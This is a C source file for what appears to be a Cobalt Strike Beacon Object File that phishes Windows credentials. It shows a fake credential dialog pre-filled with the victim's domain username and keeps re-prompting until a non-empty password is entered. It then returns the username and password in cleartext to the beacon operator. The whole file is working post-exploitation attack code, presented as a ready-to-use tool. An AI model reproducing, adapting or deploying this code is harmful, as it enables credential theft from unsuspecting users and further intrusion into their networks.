credprompt.c 8.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284
  1. #define SECURITY_WIN32
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #include <wincred.h>
  5. #include <Lmcons.h>
  6. #include <security.h>
  7. #include "credprompt.h"
  8. #include "beacon.h"
  9. #pragma comment(lib, "Secur32.lib")
  10. #pragma comment(lib, "credui.lib")
  11. #pragma comment(lib, "ole32.lib")
  12. #pragma comment(lib, "user32.lib")
  13. typedef struct {
  14. UINT timeout;
  15. HANDLE hTimeoutEvent;
  16. } TIMEOUT_STRUCT;
  17. //https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
  18. HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
  19. HRESULT hr = S_FALSE;
  20. va_list argList;
  21. DWORD dwWritten = 0;
  22. if (g_lpStream <= (LPSTREAM)1) {
  23. hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
  24. if (FAILED(hr)) {
  25. return hr;
  26. }
  27. }
  28. if (g_lpwPrintBuffer <= (LPWSTR)1) {
  29. g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
  30. if (g_lpwPrintBuffer == NULL) {
  31. hr = E_FAIL;
  32. goto CleanUp;
  33. }
  34. }
  35. va_start(argList, lpwFormat);
  36. if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
  37. hr = E_FAIL;
  38. goto CleanUp;
  39. }
  40. if (g_lpStream != NULL) {
  41. if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
  42. goto CleanUp;
  43. }
  44. }
  45. hr = S_OK;
  46. CleanUp:
  47. if (g_lpwPrintBuffer != NULL) {
  48. MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR));
  49. }
  50. va_end(argList);
  51. return hr;
  52. }
  53. //https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
  54. VOID BeaconOutputStreamW() {
  55. STATSTG ssStreamData = { 0 };
  56. SIZE_T cbSize = 0;
  57. ULONG cbRead = 0;
  58. LARGE_INTEGER pos;
  59. LPWSTR lpwOutput = NULL;
  60. if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
  61. return;
  62. }
  63. cbSize = ssStreamData.cbSize.LowPart;
  64. lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
  65. if (lpwOutput != NULL) {
  66. pos.QuadPart = 0;
  67. if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
  68. goto CleanUp;
  69. }
  70. if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {
  71. goto CleanUp;
  72. }
  73. BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
  74. }
  75. CleanUp:
  76. if (g_lpStream != NULL) {
  77. g_lpStream->lpVtbl->Release(g_lpStream);
  78. g_lpStream = NULL;
  79. }
  80. if (g_lpwPrintBuffer != NULL) {
  81. MSVCRT$free(g_lpwPrintBuffer);
  82. g_lpwPrintBuffer = NULL;
  83. }
  84. if (lpwOutput != NULL) {
  85. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
  86. }
  87. return;
  88. }
  89. BOOL is_empty_or_whitespace(WCHAR *str) {
  90. if (str == NULL) {
  91. return TRUE;
  92. }
  93. while (*str) {
  94. if (!MSVCRT$iswspace(*str)) {
  95. return FALSE;
  96. }
  97. str++;
  98. }
  99. return TRUE;
  100. }
  101. BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) {
  102. WCHAR className[256] = {0};
  103. USER32$GetClassNameW(hWnd, className, sizeof(className) / sizeof(WCHAR));
  104. if (MSVCRT$wcscmp(className, L"Credential Dialog Xaml Host") == 0) {
  105. USER32$PostMessageW(hWnd, WM_CLOSE, 0, 0);
  106. return FALSE;
  107. }
  108. return TRUE;
  109. }
  110. DWORD WINAPI PromptWithTimeout(LPVOID lParam) {
  111. TIMEOUT_STRUCT *pTimeoutStruct = (TIMEOUT_STRUCT *)lParam;
  112. UINT timeout = pTimeoutStruct->timeout;
  113. HANDLE hTimeoutEvent = pTimeoutStruct->hTimeoutEvent;
  114. KERNEL32$Sleep(timeout * 1000);
  115. USER32$EnumWindows(EnumWindowsProc, 0);
  116. KERNEL32$SetEvent(hTimeoutEvent);
  117. return 0;
  118. }
  119. BOOL PromptForCreds(LPWSTR title, LPWSTR message, LPWSTR *username, LPWSTR *password, LPWSTR *domain, UINT timeout)
  120. {
  121. PVOID packed_credentials = NULL;
  122. ULONG packed_credentials_size = 0;
  123. HANDLE hTimeoutEvent = KERNEL32$CreateEventW(NULL, TRUE, FALSE, NULL);
  124. // Get current username in DOMAIN\USERNAME format
  125. WCHAR domainUsername[DNLEN + UNLEN + 2];
  126. ULONG nSize = sizeof(domainUsername) / sizeof(WCHAR);
  127. if (SECUR32$GetUserNameExW(NameSamCompatible, domainUsername, &nSize)) {
  128. // Pack current username
  129. WCHAR prefilled_username[DNLEN + UNLEN + 2];
  130. MSVCRT$_snwprintf(prefilled_username, (sizeof(prefilled_username) / sizeof(WCHAR)) - 1, L"%s", domainUsername);
  131. CREDUI$CredPackAuthenticationBufferW(0, prefilled_username, L"", NULL, &packed_credentials_size);
  132. packed_credentials = MSVCRT$malloc(packed_credentials_size);
  133. CREDUI$CredPackAuthenticationBufferW(0, prefilled_username, L"", (PBYTE)packed_credentials, &packed_credentials_size);
  134. }
  135. BOOL bValidPassword = FALSE;
  136. DWORD result;
  137. TIMEOUT_STRUCT timeoutStruct;
  138. timeoutStruct.timeout = timeout;
  139. timeoutStruct.hTimeoutEvent = hTimeoutEvent;
  140. DWORD threadId;
  141. HANDLE hThread = KERNEL32$CreateThread(NULL, 0, PromptWithTimeout, (LPVOID)&timeoutStruct, 0, &threadId);
  142. BeaconPrintToStreamW(L"\nPrompt event log:\n");
  143. BeaconPrintToStreamW(L"==============================================\n");
  144. do {
  145. // Prompt for credentials
  146. CREDUI_INFOW credui_info = {0};
  147. credui_info.cbSize = sizeof(credui_info);
  148. credui_info.pszCaptionText = title;
  149. credui_info.pszMessageText = message;
  150. credui_info.hwndParent = NULL;
  151. HWND hWnd = USER32$GetForegroundWindow();
  152. if (hWnd != NULL) {
  153. credui_info.hwndParent = hWnd;
  154. }
  155. DWORD auth_package = 0;
  156. BOOL save_credentials = FALSE;
  157. ULONG out_credentials_size = 0;
  158. LPVOID out_credentials = NULL;
  159. result = CREDUI$CredUIPromptForWindowsCredentialsW(&credui_info, 0, &auth_package, packed_credentials, packed_credentials_size, &out_credentials, &out_credentials_size, &save_credentials, CREDUIWIN_GENERIC | CREDUIWIN_CHECKBOX);
  160. if (result == NO_ERROR)
  161. {
  162. *username = (LPWSTR)MSVCRT$malloc(CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR));
  163. *password = (LPWSTR)MSVCRT$malloc(CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR));
  164. *domain = (LPWSTR)MSVCRT$malloc(CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR));
  165. ULONG max_username = CREDUI_MAX_USERNAME_LENGTH;
  166. ULONG max_password = CREDUI_MAX_USERNAME_LENGTH;
  167. ULONG max_domain = CREDUI_MAX_USERNAME_LENGTH;
  168. CREDUI$CredUnPackAuthenticationBufferW(0, out_credentials, out_credentials_size, *username, &max_username, *domain, &max_domain, *password, &max_password);
  169. bValidPassword = !is_empty_or_whitespace(*password);
  170. if (!bValidPassword) {
  171. BeaconPrintToStreamW(L"[!] User tried to enter empty password\n");
  172. }
  173. MSVCRT$memset(out_credentials, 0, out_credentials_size);
  174. OLE32$CoTaskMemFree(out_credentials);
  175. }
  176. else {
  177. if (KERNEL32$WaitForSingleObject(hTimeoutEvent, 0) == WAIT_OBJECT_0) {
  178. BeaconPrintToStreamW(L"[!] Credential prompt timed out\n");
  179. break;
  180. } else {
  181. BeaconPrintToStreamW(L"[!] User tried to close the prompt\n");
  182. }
  183. }
  184. } while (!bValidPassword);
  185. KERNEL32$TerminateThread(hThread, 0);
  186. KERNEL32$CloseHandle(hThread);
  187. if (packed_credentials)
  188. {
  189. MSVCRT$memset(packed_credentials, 0, packed_credentials_size);
  190. MSVCRT$free(packed_credentials);
  191. }
  192. return bValidPassword;
  193. }
  194. int go(char *args, int len) {
  195. LPWSTR title = L"";
  196. LPWSTR message = L"";
  197. LPWSTR username = NULL;
  198. LPWSTR password = NULL;
  199. LPWSTR domain = NULL;
  200. UINT timer_seconds = 60;
  201. datap parser;
  202. BeaconDataParse(&parser, args, len);
  203. title = BeaconDataExtract(&parser, NULL);
  204. message = BeaconDataExtract(&parser, NULL);
  205. timer_seconds = BeaconDataInt(&parser, NULL);
  206. if (PromptForCreds(title, message, &username, &password, &domain, timer_seconds))
  207. {
  208. BeaconPrintToStreamW(L"[+] User entered something:\n\tUsername: %ls\n\tPassword: %ls\n", username, password);
  209. BeaconOutputStreamW();
  210. MSVCRT$memset(password, 0, MSVCRT$wcslen(password) * sizeof(WCHAR));
  211. MSVCRT$free(username);
  212. MSVCRT$free(password);
  213. MSVCRT$free(domain);
  214. }
  215. else
  216. {
  217. BeaconOutputStreamW();
  218. BeaconPrintf(CALLBACK_ERROR, "No credentials were obtained.\n");
  219. }
  220. return 0;
  221. }